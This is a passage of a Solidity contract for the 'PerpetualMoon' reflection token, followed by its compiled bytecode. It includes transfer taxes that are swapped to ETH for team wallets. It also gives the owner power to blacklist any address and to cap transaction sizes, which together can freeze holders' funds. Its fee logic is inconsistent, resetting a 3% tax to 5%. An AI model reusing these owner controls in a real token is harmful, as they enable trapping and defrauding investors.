return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PerpetualMoon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "PerpetualMoon";
string private constant _symbol = "PerpMoon";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121a565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600d81526020017f50657270657475616c4d6f6f6e00000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f506572704d6f6f6e000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5f565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acd565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe6565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa6565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f26565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613006565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613086565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f04565b60405180910390fd5b5060008385611c8a91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f46565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612973565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c1565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613263565b90508284826121509190613232565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc6565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f04565b60405180910390fd5b50600083856122939190613232565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242281612620565b61242c84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a6565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600954612717565b925092509250600061253d612212565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612212565b90506000612641828461212090919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276d606461275f888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212090919063ffffffff16565b905060006127dd868961212090919063ffffffff16565b905060006127f4878961212090919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b